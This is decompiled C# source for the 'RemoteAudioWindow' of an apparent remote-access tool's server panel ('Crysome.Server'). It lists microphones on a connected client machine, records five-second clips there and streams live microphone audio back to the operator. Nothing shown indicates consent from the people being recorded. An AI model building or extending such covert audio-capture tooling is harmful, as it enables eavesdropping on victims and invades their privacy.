using System; using System.CodeDom.Compiler; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Windows; using System.Windows.Controls; using System.Windows.Controls.Primitives; using System.Windows.Input; using System.Windows.Markup; using System.Windows.Media; using Crysome.Server.Model; using Crysome.Server.ViewModel; using NAudio.Wave; using Wpf.Ui.Controls; namespace Crysome.Server.View; public class RemoteAudioWindow : FluentWindow, IComponentConnector { private readonly ClientInfo _client; private readonly ManageClientsViewModel _vm; private MediaPlayer _player; private string[] _devices = new string[0]; private BufferedWaveProvider _bufferedProvider; private WaveOutEvent _waveOut; private bool _listening; internal TextBlock TitleText; internal Button CloseBtn; internal ComboBox MicCombo; internal Button RecordBtn; internal Button ListenBtn; internal Button StopListenBtn; internal TextBlock StatusText; private bool _contentLoaded; public RemoteAudioWindow(ClientInfo client, ManageClientsViewModel vm) { InitializeComponent(); _client = client; _vm = vm; ((Window)this).Title = "Remote Audio/Mic — " + (client?.Address ?? "?"); TitleText.Text = ((Window)this).Title; StatusText.Text = "Select mic, then Record (5 sec) or Listen Live."; ((FrameworkElement)this).Loaded += delegate { _vm.Log("RemoteAudio Loaded, calling LoadMics", "MIC"); LoadMics(); }; ((Window)this).Closed += delegate { _player?.Close(); StopListening(); }; } private void LoadMics() { _vm.GetAudioDevices(_client, delegate(string[] devs) { _devices = devs ?? new string[0]; if (_devices.Length == 0) { _devices = new string[1] { "(No microphones found)" }; } MicCombo.Items.Clear(); for (int i = 0; i < _devices.Length; i++) { MicCombo.Items.Add(_devices[i] ?? ("Mic " + i)); } if (MicCombo.Items.Count > 0) { MicCombo.SelectedIndex = 0; } }); } private void RecordBtn_Click(object sender, RoutedEventArgs e) { ((UIElement)(object)RecordBtn).IsEnabled = false; StatusText.Text = "Recording on remote machine..."; int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0); _vm.RequestAudio(_client, 5, deviceIndex, delegate(byte[] wavData) { ((UIElement)(object)RecordBtn).IsEnabled = true; if (wavData == null || wavData.Length == 0) { StatusText.Text = "No audio received."; return; } try { string tmp = Path.Combine(Path.GetTempPath(), "crysome_audio_" + Guid.NewGuid().ToString("N") + ".wav"); File.WriteAllBytes(tmp, wavData); _player?.Close(); _player = new MediaPlayer(); _player.Open(new Uri(tmp)); _player.MediaEnded += delegate { try { File.Delete(tmp); } catch { } _player.Close(); }; _player.Play(); StatusText.Text = "Playing " + wavData.Length / 1024 + " KB..."; } catch (Exception ex) { StatusText.Text = "Play failed: " + ex.Message; } }); } private void ListenBtn_Click(object sender, RoutedEventArgs e) { int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0); _listening = true; ((UIElement)(object)ListenBtn).IsEnabled = false; ((UIElement)(object)StopListenBtn).IsEnabled = true; ((UIElement)(object)RecordBtn).IsEnabled = false; StatusText.Text = "Listening live..."; WaveFormat waveFormat = new WaveFormat(16000, 16, 1); _bufferedProvider = new BufferedWaveProvider(waveFormat) { BufferDuration = TimeSpan.FromSeconds(5L) }; _waveOut = new WaveOutEvent(); _waveOut.Init(_bufferedProvider); _waveOut.Play(); _vm.StartAudioStream(_client, deviceIndex, delegate(byte[] chunk) { if (!_listening || _bufferedProvider == null) { return; } try { _bufferedProvider.AddSamples(chunk, 0, chunk.Length); } catch { } }); } private void StopListenBtn_Click(object sender, RoutedEventArgs e) { StopListening(); } private void StopListening() { _listening = false; _vm?.StopAudioStream(_client); ((UIElement)(object)ListenBtn).IsEnabled = true; ((UIElement)(object)StopListenBtn).IsEnabled = false; ((UIElement)(object)RecordBtn).IsEnabled = true; try { _waveOut?.Stop(); _waveOut?.Dispose(); } catch { } _waveOut = null; _bufferedProvider = null; StatusText.Text = "Stopped."; } private void CloseBtn_Click(object sender, RoutedEventArgs e) { ((Window)this).Close(); } private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { try { ((Window)this).DragMove(); } catch { } } [DebuggerNonUserCode] [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] public void InitializeComponent() { if (!_contentLoaded) { _contentLoaded = true; Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteaudiowindow.xaml", UriKind.Relative); Application.LoadComponent(this, resourceLocator); } } [DebuggerNonUserCode] [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] [EditorBrowsable(EditorBrowsableState.Never)] void IComponentConnector.Connect(int connectionId, object target) { //IL_0054: Unknown result type (might be due to invalid IL or missing references) //IL_005e: Expected O, but got Unknown //IL_0085: Unknown result type (might be due to invalid IL or missing references) //IL_008f: Expected O, but got Unknown //IL_00a9: Unknown result type (might be due to invalid IL or missing references) //IL_00b3: Expected O, but got Unknown //IL_00cd: Unknown result type (might be due to invalid IL or missing references) //IL_00d7: Expected O, but got Unknown switch (connectionId) { case 1: ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; break; case 2: TitleText = (TextBlock)target; break; case 3: CloseBtn = (Button)target; ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; break; case 4: MicCombo = (ComboBox)target; break; case 5: RecordBtn = (Button)target; ((ButtonBase)(object)RecordBtn).Click += RecordBtn_Click; break; case 6: ListenBtn = (Button)target; ((ButtonBase)(object)ListenBtn).Click += ListenBtn_Click; break; case 7: StopListenBtn = (Button)target; ((ButtonBase)(object)StopListenBtn).Click += StopListenBtn_Click; break; case 8: StatusText = (TextBlock)target; break; default: _contentLoaded = true; break; } } }